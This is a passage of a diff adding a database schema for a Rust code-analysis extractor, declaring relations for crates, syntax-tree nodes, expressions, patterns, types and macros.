+yaml_locations(unique int locatable: @yaml_locatable ref, + int location: @location_default ref); + +@yaml_locatable = @yaml_node | @yaml_error; + + +// from prefix.dbscheme +#keyset[id] +locatable_locations( + int id: @locatable ref, + int location: @location_default ref +); + + +// from schema + +@element = + @extractor_step +| @locatable +| @named_crate +| @unextracted +; + +extractor_steps( + unique int id: @extractor_step, + string action: string ref, + int duration_ms: int ref +); + +#keyset[id] +extractor_step_files( + int id: @extractor_step ref, + int file: @file ref +); + +@locatable = + @ast_node +| @crate +; + +named_crates( + unique int id: @named_crate, + string name: string ref, + int crate: @crate ref +); + +@unextracted = + @missing +| @unimplemented +; + +@ast_node = + @abi +| @addressable +| @arg_list +| @asm_dir_spec +| @asm_operand +| @asm_operand_expr +| @asm_option +| @asm_piece +| @asm_reg_spec +| @assoc_item +| @assoc_item_list +| @attr +| @callable +| @closure_binder +| @expr +| @extern_item +| @extern_item_list +| @field_list +| @format_args_arg +| @generic_arg +| @generic_arg_list +| @generic_param +| @generic_param_list +| @item_list +| @label +| @let_else +| @macro_items +| @macro_stmts +| @match_arm +| @match_arm_list +| @match_guard +| @meta +| @name +| @param_base +| @param_list +| @parenthesized_arg_list +| @pat +| @path +| @path_segment +| @rename +| @resolvable +| @ret_type_repr +| @return_type_syntax +| @source_file +| @stmt +| @stmt_list +| @struct_expr_field +| @struct_expr_field_list +| @struct_field +| @struct_pat_field +| @struct_pat_field_list +| @token +| @token_tree +| @tuple_field +| @type_bound +| @type_bound_list +| @type_repr +| @use_bound_generic_arg +| @use_bound_generic_args +| @use_tree +| @use_tree_list +| @variant_def +| @variant_list +| @visibility +| @where_clause +| @where_pred +; + +crates( + unique int id: @crate +); + +#keyset[id] +crate_names( + int id: @crate ref, + string name: string ref +); + +#keyset[id] +crate_versions( + int id: @crate ref, + string version: string ref +); + +#keyset[id] +crate_modules( + int id: @crate ref, + int module: @module ref +); + +#keyset[id, index] +crate_cfg_options( + int id: @crate ref, + int index: int ref, + string cfg_option: string ref +); + +#keyset[id, index] +crate_named_dependencies( + int id: @crate ref, + int index: int ref, + int named_dependency: @named_crate ref +); + +missings( + unique int id: @missing +); + +unimplementeds( + unique int id: @unimplemented +); + +abis( + unique int id: @abi +); + +#keyset[id] +abi_abi_strings( + int id: @abi ref, + string abi_string: string ref +); + +@addressable = + @item +| @variant +; + +#keyset[id] +addressable_extended_canonical_paths( + int id: @addressable ref, + string extended_canonical_path: string ref +); + +#keyset[id] +addressable_crate_origins( + int id: @addressable ref, + string crate_origin: string ref +); + +arg_lists( + unique int id: @arg_list +); + +#keyset[id, index] +arg_list_args( + int id: @arg_list ref, + int index: int ref, + int arg: @expr ref +); + +asm_dir_specs( + unique int id: @asm_dir_spec +); + +@asm_operand = + @asm_const +| @asm_label +| @asm_reg_operand +| @asm_sym +; + +asm_operand_exprs( + unique int id: @asm_operand_expr +); + +#keyset[id] +asm_operand_expr_in_exprs( + int id: @asm_operand_expr ref, + int in_expr: @expr ref +); + +#keyset[id] +asm_operand_expr_out_exprs( + int id: @asm_operand_expr ref, + int out_expr: @expr ref +); + +asm_options( + unique int id: @asm_option +); + +#keyset[id] +asm_option_is_raw( + int id: @asm_option ref +); + +@asm_piece = + @asm_clobber_abi +| @asm_operand_named +| @asm_options_list +; + +asm_reg_specs( + unique int id: @asm_reg_spec +); + +#keyset[id] +asm_reg_spec_identifiers( + int id: @asm_reg_spec ref, + int identifier: @name_ref ref +); + +@assoc_item = + @const +| @function +| @macro_call +| @type_alias +; + +assoc_item_lists( + unique int id: @assoc_item_list +); + +#keyset[id, index] +assoc_item_list_assoc_items( + int id: @assoc_item_list ref, + int index: int ref, + int assoc_item: @assoc_item ref +); + +#keyset[id, index] +assoc_item_list_attrs( + int id: @assoc_item_list ref, + int index: int ref, + int attr: @attr ref +); + +attrs( + unique int id: @attr +); + +#keyset[id] +attr_meta( + int id: @attr ref, + int meta: @meta ref +); + +@callable = + @closure_expr +| @function +; + +#keyset[id] +callable_param_lists( + int id: @callable ref, + int param_list: @param_list ref +); + +#keyset[id, index] +callable_attrs( + int id: @callable ref, + int index: int ref, + int attr: @attr ref +); + +closure_binders( + unique int id: @closure_binder +); + +#keyset[id] +closure_binder_generic_param_lists( + int id: @closure_binder ref, + int generic_param_list: @generic_param_list ref +); + +@expr = + @array_expr_internal +| @asm_expr +| @await_expr +| @become_expr +| @binary_expr +| @break_expr +| @call_expr_base +| @cast_expr +| @closure_expr +| @continue_expr +| @field_expr +| @format_args_expr +| @if_expr +| @index_expr +| @labelable_expr +| @let_expr +| @literal_expr +| @macro_expr +| @match_expr +| @offset_of_expr +| @paren_expr +| @path_expr_base +| @prefix_expr +| @range_expr +| @ref_expr +| @return_expr +| @struct_expr +| @try_expr +| @tuple_expr +| @underscore_expr +| @yeet_expr +| @yield_expr +; + +@extern_item = + @function +| @macro_call +| @static +| @type_alias +; + +extern_item_lists( + unique int id: @extern_item_list +); + +#keyset[id, index] +extern_item_list_attrs( + int id: @extern_item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +extern_item_list_extern_items( + int id: @extern_item_list ref, + int index: int ref, + int extern_item: @extern_item ref +); + +@field_list = + @struct_field_list +| @tuple_field_list +; + +format_args_args( + unique int id: @format_args_arg +); + +#keyset[id] +format_args_arg_exprs( + int id: @format_args_arg ref, + int expr: @expr ref +); + +#keyset[id] +format_args_arg_names( + int id: @format_args_arg ref, + int name: @name ref +); + +@generic_arg = + @assoc_type_arg +| @const_arg +| @lifetime_arg +| @type_arg +; + +generic_arg_lists( + unique int id: @generic_arg_list +); + +#keyset[id, index] +generic_arg_list_generic_args( + int id: @generic_arg_list ref, + int index: int ref, + int generic_arg: @generic_arg ref +); + +@generic_param = + @const_param +| @lifetime_param +| @type_param +; + +generic_param_lists( + unique int id: @generic_param_list +); + +#keyset[id, index] +generic_param_list_generic_params( + int id: @generic_param_list ref, + int index: int ref, + int generic_param: @generic_param ref +); + +item_lists( + unique int id: @item_list +); + +#keyset[id, index] +item_list_attrs( + int id: @item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +item_list_items( + int id: @item_list ref, + int index: int ref, + int item: @item ref +); + +labels( + unique int id: @label +); + +#keyset[id] +label_lifetimes( + int id: @label ref, + int lifetime: @lifetime ref +); + +let_elses( + unique int id: @let_else +); + +#keyset[id] +let_else_block_exprs( + int id: @let_else ref, + int block_expr: @block_expr ref +); + +macro_items( + unique int id: @macro_items +); + +#keyset[id, index] +macro_items_items( + int id: @macro_items ref, + int index: int ref, + int item: @item ref +); + +macro_stmts( + unique int id: @macro_stmts +); + +#keyset[id] +macro_stmts_exprs( + int id: @macro_stmts ref, + int expr: @expr ref +); + +#keyset[id, index] +macro_stmts_statements( + int id: @macro_stmts ref, + int index: int ref, + int statement: @stmt ref +); + +match_arms( + unique int id: @match_arm +); + +#keyset[id, index] +match_arm_attrs( + int id: @match_arm ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_arm_exprs( + int id: @match_arm ref, + int expr: @expr ref +); + +#keyset[id] +match_arm_guards( + int id: @match_arm ref, + int guard: @match_guard ref +); + +#keyset[id] +match_arm_pats( + int id: @match_arm ref, + int pat: @pat ref +); + +match_arm_lists( + unique int id: @match_arm_list +); + +#keyset[id, index] +match_arm_list_arms( + int id: @match_arm_list ref, + int index: int ref, + int arm: @match_arm ref +); + +#keyset[id, index] +match_arm_list_attrs( + int id: @match_arm_list ref, + int index: int ref, + int attr: @attr ref +); + +match_guards( + unique int id: @match_guard +); + +#keyset[id] +match_guard_conditions( + int id: @match_guard ref, + int condition: @expr ref +); + +meta( + unique int id: @meta +); + +#keyset[id] +meta_exprs( + int id: @meta ref, + int expr: @expr ref +); + +#keyset[id] +meta_is_unsafe( + int id: @meta ref +); + +#keyset[id] +meta_paths( + int id: @meta ref, + int path: @path ref +); + +#keyset[id] +meta_token_trees( + int id: @meta ref, + int token_tree: @token_tree ref +); + +names( + unique int id: @name +); + +#keyset[id] +name_texts( + int id: @name ref, + string text: string ref +); + +@param_base = + @param +| @self_param +; + +#keyset[id, index] +param_base_attrs( + int id: @param_base ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +param_base_type_reprs( + int id: @param_base ref, + int type_repr: @type_repr ref +); + +param_lists( + unique int id: @param_list +); + +#keyset[id, index] +param_list_params( + int id: @param_list ref, + int index: int ref, + int param: @param ref +); + +#keyset[id] +param_list_self_params( + int id: @param_list ref, + int self_param: @self_param ref +); + +parenthesized_arg_lists( + unique int id: @parenthesized_arg_list +); + +#keyset[id, index] +parenthesized_arg_list_type_args( + int id: @parenthesized_arg_list ref, + int index: int ref, + int type_arg: @type_arg ref +); + +@pat = + @box_pat +| @const_block_pat +| @ident_pat +| @literal_pat +| @macro_pat +| @or_pat +| @paren_pat +| @path_pat +| @range_pat +| @ref_pat +| @rest_pat +| @slice_pat +| @struct_pat +| @tuple_pat +| @tuple_struct_pat +| @wildcard_pat +; + +paths( + unique int id: @path +); + +#keyset[id] +path_qualifiers( + int id: @path ref, + int qualifier: @path ref +); + +#keyset[id] +path_segments_( + int id: @path ref, + int segment: @path_segment ref +); + +path_segments( + unique int id: @path_segment +); + +#keyset[id] +path_segment_generic_arg_lists( + int id: @path_segment ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +path_segment_identifiers( + int id: @path_segment ref, + int identifier: @name_ref ref +); + +#keyset[id] +path_segment_parenthesized_arg_lists( + int id: @path_segment ref, + int parenthesized_arg_list: @parenthesized_arg_list ref +); + +#keyset[id] +path_segment_ret_types( + int id: @path_segment ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +path_segment_return_type_syntaxes( + int id: @path_segment ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +path_segment_type_reprs( + int id: @path_segment ref, + int type_repr: @type_repr ref +); + +#keyset[id] +path_segment_trait_type_reprs( + int id: @path_segment ref, + int trait_type_repr: @path_type_repr ref +); + +renames( + unique int id: @rename +); + +#keyset[id] +rename_names( + int id: @rename ref, + int name: @name ref +); + +@resolvable = + @method_call_expr +| @path_ast_node +; + +#keyset[id] +resolvable_resolved_paths( + int id: @resolvable ref, + string resolved_path: string ref +); + +#keyset[id] +resolvable_resolved_crate_origins( + int id: @resolvable ref, + string resolved_crate_origin: string ref +); + +ret_type_reprs( + unique int id: @ret_type_repr +); + +#keyset[id] +ret_type_repr_type_reprs( + int id: @ret_type_repr ref, + int type_repr: @type_repr ref +); + +return_type_syntaxes( + unique int id: @return_type_syntax +); + +source_files( + unique int id: @source_file +); + +#keyset[id, index] +source_file_attrs( + int id: @source_file ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +source_file_items( + int id: @source_file ref, + int index: int ref, + int item: @item ref +); + +@stmt = + @expr_stmt +| @item +| @let_stmt +; + +stmt_lists( + unique int id: @stmt_list +); + +#keyset[id, index] +stmt_list_attrs( + int id: @stmt_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +stmt_list_statements( + int id: @stmt_list ref, + int index: int ref, + int statement: @stmt ref +); + +#keyset[id] +stmt_list_tail_exprs( + int id: @stmt_list ref, + int tail_expr: @expr ref +); + +struct_expr_fields( + unique int id: @struct_expr_field +); + +#keyset[id, index] +struct_expr_field_attrs( + int id: @struct_expr_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_expr_field_exprs( + int id: @struct_expr_field ref, + int expr: @expr ref +); + +#keyset[id] +struct_expr_field_identifiers( + int id: @struct_expr_field ref, + int identifier: @name_ref ref +); + +struct_expr_field_lists( + unique int id: @struct_expr_field_list +); + +#keyset[id, index] +struct_expr_field_list_attrs( + int id: @struct_expr_field_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +struct_expr_field_list_fields( + int id: @struct_expr_field_list ref, + int index: int ref, + int field: @struct_expr_field ref +); + +#keyset[id] +struct_expr_field_list_spreads( + int id: @struct_expr_field_list ref, + int spread: @expr ref +); + +struct_fields( + unique int id: @struct_field +); + +#keyset[id, index] +struct_field_attrs( + int id: @struct_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_defaults( + int id: @struct_field ref, + int default: @expr ref +); + +#keyset[id] +struct_field_is_unsafe( + int id: @struct_field ref +); + +#keyset[id] +struct_field_names( + int id: @struct_field ref, + int name: @name ref +); + +#keyset[id] +struct_field_type_reprs( + int id: @struct_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +struct_field_visibilities( + int id: @struct_field ref, + int visibility: @visibility ref +); + +struct_pat_fields( + unique int id: @struct_pat_field +); + +#keyset[id, index] +struct_pat_field_attrs( + int id: @struct_pat_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_pat_field_identifiers( + int id: @struct_pat_field ref, + int identifier: @name_ref ref +); + +#keyset[id] +struct_pat_field_pats( + int id: @struct_pat_field ref, + int pat: @pat ref +); + +struct_pat_field_lists( + unique int id: @struct_pat_field_list +); + +#keyset[id, index] +struct_pat_field_list_fields( + int id: @struct_pat_field_list ref, + int index: int ref, + int field: @struct_pat_field ref +); + +#keyset[id] +struct_pat_field_list_rest_pats( + int id: @struct_pat_field_list ref, + int rest_pat: @rest_pat ref +); + +@token = + @comment +; + +token_trees( + unique int id: @token_tree +); + +tuple_fields( + unique int id: @tuple_field +); + +#keyset[id, index] +tuple_field_attrs( + int id: @tuple_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +tuple_field_type_reprs( + int id: @tuple_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +tuple_field_visibilities( + int id: @tuple_field ref, + int visibility: @visibility ref +); + +type_bounds( + unique int id: @type_bound +); + +#keyset[id] +type_bound_is_async( + int id: @type_bound ref +); + +#keyset[id] +type_bound_is_const( + int id: @type_bound ref +); + +#keyset[id] +type_bound_lifetimes( + int id: @type_bound ref, + int lifetime: @lifetime ref +); + +#keyset[id] +type_bound_type_reprs( + int id: @type_bound ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_bound_use_bound_generic_args( + int id: @type_bound ref, + int use_bound_generic_args: @use_bound_generic_args ref +); + +type_bound_lists( + unique int id: @type_bound_list +); + +#keyset[id, index] +type_bound_list_bounds( + int id: @type_bound_list ref, + int index: int ref, + int bound: @type_bound ref +); + +@type_repr = + @array_type_repr +| @dyn_trait_type_repr +| @fn_ptr_type_repr +| @for_type_repr +| @impl_trait_type_repr +| @infer_type_repr +| @macro_type_repr +| @never_type_repr +| @paren_type_repr +| @path_type_repr +| @ptr_type_repr +| @ref_type_repr +| @slice_type_repr +| @tuple_type_repr +; + +@use_bound_generic_arg = + @lifetime +| @name_ref +; + +use_bound_generic_args( + unique int id: @use_bound_generic_args +); + +#keyset[id, index] +use_bound_generic_args_use_bound_generic_args( + int id: @use_bound_generic_args ref, + int index: int ref, + int use_bound_generic_arg: @use_bound_generic_arg ref +); + +use_trees( + unique int id: @use_tree +); + +#keyset[id] +use_tree_is_glob( + int id: @use_tree ref +); + +#keyset[id] +use_tree_paths( + int id: @use_tree ref, + int path: @path ref +); + +#keyset[id] +use_tree_renames( + int id: @use_tree ref, + int rename: @rename ref +); + +#keyset[id] +use_tree_use_tree_lists( + int id: @use_tree ref, + int use_tree_list: @use_tree_list ref +); + +use_tree_lists( + unique int id: @use_tree_list +); + +#keyset[id, index] +use_tree_list_use_trees( + int id: @use_tree_list ref, + int index: int ref, + int use_tree: @use_tree ref +); + +@variant_def = + @struct +| @union +| @variant +; + +variant_lists( + unique int id: @variant_list +); + +#keyset[id, index] +variant_list_variants( + int id: @variant_list ref, + int index: int ref, + int variant: @variant ref +); + +visibilities( + unique int id: @visibility +); + +#keyset[id] +visibility_paths( + int id: @visibility ref, + int path: @path ref +); + +where_clauses( + unique int id: @where_clause +); + +#keyset[id, index] +where_clause_predicates( + int id: @where_clause ref, + int index: int ref, + int predicate: @where_pred ref +); + +where_preds( + unique int id: @where_pred +); + +#keyset[id] +where_pred_generic_param_lists( + int id: @where_pred ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +where_pred_lifetimes( + int id: @where_pred ref, + int lifetime: @lifetime ref +); + +#keyset[id] +where_pred_type_reprs( + int id: @where_pred ref, + int type_repr: @type_repr ref +); + +#keyset[id] +where_pred_type_bound_lists( + int id: @where_pred ref, + int type_bound_list: @type_bound_list ref +); + +array_expr_internals( + unique int id: @array_expr_internal +); + +#keyset[id, index] +array_expr_internal_attrs( + int id: @array_expr_internal ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +array_expr_internal_exprs( + int id: @array_expr_internal ref, + int index: int ref, + int expr: @expr ref +); + +#keyset[id] +array_expr_internal_is_semicolon( + int id: @array_expr_internal ref +); + +array_type_reprs( + unique int id: @array_type_repr +); + +#keyset[id] +array_type_repr_const_args( + int id: @array_type_repr ref, + int const_arg: @const_arg ref +); + +#keyset[id] +array_type_repr_element_type_reprs( + int id: @array_type_repr ref, + int element_type_repr: @type_repr ref +); + +asm_clobber_abis( + unique int id: @asm_clobber_abi +); + +asm_consts( + unique int id: @asm_const +); + +#keyset[id] +asm_const_exprs( + int id: @asm_const ref, + int expr: @expr ref +); + +#keyset[id] +asm_const_is_const( + int id: @asm_const ref +); + +asm_exprs( + unique int id: @asm_expr +); + +#keyset[id, index] +asm_expr_asm_pieces( + int id: @asm_expr ref, + int index: int ref, + int asm_piece: @asm_piece ref +); + +#keyset[id, index] +asm_expr_attrs( + int id: @asm_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +asm_expr_templates( + int id: @asm_expr ref, + int index: int ref, + int template: @expr ref +); + +asm_labels( + unique int id: @asm_label +); + +#keyset[id] +asm_label_block_exprs( + int id: @asm_label ref, + int block_expr: @block_expr ref +); + +asm_operand_nameds( + unique int id: @asm_operand_named +); + +#keyset[id] +asm_operand_named_asm_operands( + int id: @asm_operand_named ref, + int asm_operand: @asm_operand ref +); + +#keyset[id] +asm_operand_named_names( + int id: @asm_operand_named ref, + int name: @name ref +); + +asm_options_lists( + unique int id: @asm_options_list +); + +#keyset[id, index] +asm_options_list_asm_options( + int id: @asm_options_list ref, + int index: int ref, + int asm_option: @asm_option ref +); + +asm_reg_operands( + unique int id: @asm_reg_operand +); + +#keyset[id] +asm_reg_operand_asm_dir_specs( + int id: @asm_reg_operand ref, + int asm_dir_spec: @asm_dir_spec ref +); + +#keyset[id] +asm_reg_operand_asm_operand_exprs( + int id: @asm_reg_operand ref, + int asm_operand_expr: @asm_operand_expr ref +); + +#keyset[id] +asm_reg_operand_asm_reg_specs( + int id: @asm_reg_operand ref, + int asm_reg_spec: @asm_reg_spec ref +); + +asm_syms( + unique int id: @asm_sym +); + +#keyset[id] +asm_sym_paths( + int id: @asm_sym ref, + int path: @path ref +); + +assoc_type_args( + unique int id: @assoc_type_arg +); + +#keyset[id] +assoc_type_arg_const_args( + int id: @assoc_type_arg ref, + int const_arg: @const_arg ref +); + +#keyset[id] +assoc_type_arg_generic_arg_lists( + int id: @assoc_type_arg ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +assoc_type_arg_identifiers( + int id: @assoc_type_arg ref, + int identifier: @name_ref ref +); + +#keyset[id] +assoc_type_arg_param_lists( + int id: @assoc_type_arg ref, + int param_list: @param_list ref +); + +#keyset[id] +assoc_type_arg_ret_types( + int id: @assoc_type_arg ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +assoc_type_arg_return_type_syntaxes( + int id: @assoc_type_arg ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +assoc_type_arg_type_reprs( + int id: @assoc_type_arg ref, + int type_repr: @type_repr ref +); + +#keyset[id] +assoc_type_arg_type_bound_lists( + int id: @assoc_type_arg ref, + int type_bound_list: @type_bound_list ref +); + +await_exprs( + unique int id: @await_expr +); + +#keyset[id, index] +await_expr_attrs( + int id: @await_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +await_expr_exprs( + int id: @await_expr ref, + int expr: @expr ref +); + +become_exprs( + unique int id: @become_expr +); + +#keyset[id, index] +become_expr_attrs( + int id: @become_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +become_expr_exprs( + int id: @become_expr ref, + int expr: @expr ref +); + +binary_exprs( + unique int id: @binary_expr +); + +#keyset[id, index] +binary_expr_attrs( + int id: @binary_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +binary_expr_lhs( + int id: @binary_expr ref, + int lhs: @expr ref +); + +#keyset[id] +binary_expr_operator_names( + int id: @binary_expr ref, + string operator_name: string ref +); + +#keyset[id] +binary_expr_rhs( + int id: @binary_expr ref, + int rhs: @expr ref +); + +box_pats( + unique int id: @box_pat +); + +#keyset[id] +box_pat_pats( + int id: @box_pat ref, + int pat: @pat ref +); + +break_exprs( + unique int id: @break_expr +); + +#keyset[id, index] +break_expr_attrs( + int id: @break_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +break_expr_exprs( + int id: @break_expr ref, + int expr: @expr ref +); + +#keyset[id] +break_expr_lifetimes( + int id: @break_expr ref, + int lifetime: @lifetime ref +); + +@call_expr_base = + @call_expr +| @method_call_expr +; + +#keyset[id] +call_expr_base_arg_lists( + int id: @call_expr_base ref, + int arg_list: @arg_list ref +); + +#keyset[id, index] +call_expr_base_attrs( + int id: @call_expr_base ref, + int index: int ref, + int attr: @attr ref +); + +cast_exprs( + unique int id: @cast_expr +); + +#keyset[id, index] +cast_expr_attrs( + int id: @cast_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +cast_expr_exprs( + int id: @cast_expr ref, + int expr: @expr ref +); + +#keyset[id] +cast_expr_type_reprs( + int id: @cast_expr ref, + int type_repr: @type_repr ref +); + +closure_exprs( + unique int id: @closure_expr +); + +#keyset[id] +closure_expr_bodies( + int id: @closure_expr ref, + int body: @expr ref +); + +#keyset[id] +closure_expr_closure_binders( + int id: @closure_expr ref, + int closure_binder: @closure_binder ref +); + +#keyset[id] +closure_expr_is_async( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_const( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_gen( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_move( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_static( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_ret_types( + int id: @closure_expr ref, + int ret_type: @ret_type_repr ref +); + +comments( + unique int id: @comment, + int parent: @ast_node ref, + string text: string ref +); + +const_args( + unique int id: @const_arg +); + +#keyset[id] +const_arg_exprs( + int id: @const_arg ref, + int expr: @expr ref +); + +const_block_pats( + unique int id: @const_block_pat +); + +#keyset[id] +const_block_pat_block_exprs( + int id: @const_block_pat ref, + int block_expr: @block_expr ref +); + +#keyset[id] +const_block_pat_is_const( + int id: @const_block_pat ref +); + +const_params( + unique int id: @const_param +); + +#keyset[id, index] +const_param_attrs( + int id: @const_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_param_default_vals( + int id: @const_param ref, + int default_val: @const_arg ref +); + +#keyset[id] +const_param_is_const( + int id: @const_param ref +); + +#keyset[id] +const_param_names( + int id: @const_param ref, + int name: @name ref +); + +#keyset[id] +const_param_type_reprs( + int id: @const_param ref, + int type_repr: @type_repr ref +); + +continue_exprs( + unique int id: @continue_expr +); + +#keyset[id, index] +continue_expr_attrs( + int id: @continue_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +continue_expr_lifetimes( + int id: @continue_expr ref, + int lifetime: @lifetime ref +); + +dyn_trait_type_reprs( + unique int id: @dyn_trait_type_repr +); + +#keyset[id] +dyn_trait_type_repr_type_bound_lists( + int id: @dyn_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +expr_stmts( + unique int id: @expr_stmt +); + +#keyset[id] +expr_stmt_exprs( + int id: @expr_stmt ref, + int expr: @expr ref +); + +field_exprs( + unique int id: @field_expr +); + +#keyset[id, index] +field_expr_attrs( + int id: @field_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +field_expr_containers( + int id: @field_expr ref, + int container: @expr ref +); + +#keyset[id] +field_expr_identifiers( + int id: @field_expr ref, + int identifier: @name_ref ref +); + +fn_ptr_type_reprs( + unique int id: @fn_ptr_type_repr +); + +#keyset[id] +fn_ptr_type_repr_abis( + int id: @fn_ptr_type_repr ref, + int abi: @abi ref +); + +#keyset[id] +fn_ptr_type_repr_is_async( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_const( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_unsafe( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_param_lists( + int id: @fn_ptr_type_repr ref, + int param_list: @param_list ref +); + +#keyset[id] +fn_ptr_type_repr_ret_types( + int id: @fn_ptr_type_repr ref, + int ret_type: @ret_type_repr ref +); + +for_type_reprs( + unique int id: @for_type_repr +); + +#keyset[id] +for_type_repr_generic_param_lists( + int id: @for_type_repr ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +for_type_repr_type_reprs( + int id: @for_type_repr ref, + int type_repr: @type_repr ref +); + +format_args_exprs( + unique int id: @format_args_expr +); + +#keyset[id, index] +format_args_expr_args( + int id: @format_args_expr ref, + int index: int ref, + int arg: @format_args_arg ref +); + +#keyset[id, index] +format_args_expr_attrs( + int id: @format_args_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +format_args_expr_templates( + int id: @format_args_expr ref, + int template: @expr ref +); + +ident_pats( + unique int id: @ident_pat +); + +#keyset[id, index] +ident_pat_attrs( + int id: @ident_pat ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ident_pat_is_mut( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_is_ref( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_names( + int id: @ident_pat ref, + int name: @name ref +); + +#keyset[id] +ident_pat_pats( + int id: @ident_pat ref, + int pat: @pat ref +); + +if_exprs( + unique int id: @if_expr +); + +#keyset[id, index] +if_expr_attrs( + int id: @if_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +if_expr_conditions( + int id: @if_expr ref, + int condition: @expr ref +); + +#keyset[id] +if_expr_elses( + int id: @if_expr ref, + int else: @expr ref +); + +#keyset[id] +if_expr_thens( + int id: @if_expr ref, + int then: @block_expr ref +); + +impl_trait_type_reprs( + unique int id: @impl_trait_type_repr +); + +#keyset[id] +impl_trait_type_repr_type_bound_lists( + int id: @impl_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +index_exprs( + unique int id: @index_expr +); + +#keyset[id, index] +index_expr_attrs( + int id: @index_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +index_expr_bases( + int id: @index_expr ref, + int base: @expr ref +); + +#keyset[id] +index_expr_indices( + int id: @index_expr ref, + int index: @expr ref +); + +infer_type_reprs( + unique int id: @infer_type_repr +); + +@item = + @const +| @enum +| @extern_block +| @extern_crate +| @function +| @impl +| @macro_call +| @macro_def +| @macro_rules +| @module +| @static +| @struct +| @trait +| @trait_alias +| @type_alias +| @union +| @use +; + +#keyset[id] +item_expandeds( + int id: @item ref, + int expanded: @ast_node ref +); + +@labelable_expr = + @block_expr +| @looping_expr +; + +#keyset[id] +labelable_expr_labels( + int id: @labelable_expr ref, + int label: @label ref +); + +let_exprs( + unique int id: @let_expr +); + +#keyset[id, index] +let_expr_attrs( + int id: @let_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_expr_scrutinees( + int id: @let_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +let_expr_pats( + int id: @let_expr ref, + int pat: @pat ref +); + +let_stmts( + unique int id: @let_stmt +); + +#keyset[id, index] +let_stmt_attrs( + int id: @let_stmt ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_stmt_initializers( + int id: @let_stmt ref, + int initializer: @expr ref +); + +#keyset[id] +let_stmt_let_elses( + int id: @let_stmt ref, + int let_else: @let_else ref +); + +#keyset[id] +let_stmt_pats( + int id: @let_stmt ref, + int pat: @pat ref +); + +#keyset[id] +let_stmt_type_reprs( + int id: @let_stmt ref, + int type_repr: @type_repr ref +); + +lifetimes( + unique int id: @lifetime +); + +#keyset[id] +lifetime_texts( + int id: @lifetime ref, + string text: string ref +); + +lifetime_args( + unique int id: @lifetime_arg +); + +#keyset[id] +lifetime_arg_lifetimes( + int id: @lifetime_arg ref, + int lifetime: @lifetime ref +); + +lifetime_params( + unique int id: @lifetime_param +); + +#keyset[id, index] +lifetime_param_attrs( + int id: @lifetime_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +lifetime_param_lifetimes( + int id: @lifetime_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +lifetime_param_type_bound_lists( + int id: @lifetime_param ref, + int type_bound_list: @type_bound_list ref +); + +literal_exprs( + unique int id: @literal_expr +); + +#keyset[id, index] +literal_expr_attrs( + int id: @literal_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +literal_expr_text_values( + int id: @literal_expr ref, + string text_value: string ref +); + +literal_pats( + unique int id: @literal_pat +); + +#keyset[id] +literal_pat_literals( + int id: @literal_pat ref, + int literal: @literal_expr ref +); + +macro_exprs( + unique int id: @macro_expr +); + +#keyset[id] +macro_expr_macro_calls( + int id: @macro_expr ref, + int macro_call: @macro_call ref +); + +macro_pats( + unique int id: @macro_pat +); + +#keyset[id] +macro_pat_macro_calls( + int id: @macro_pat ref, + int macro_call: @macro_call ref +); + +macro_type_reprs( + unique int id: @macro_type_repr +); + +#keyset[id] +macro_type_repr_macro_calls( + int id: @macro_type_repr ref, + int macro_call: @macro_call ref 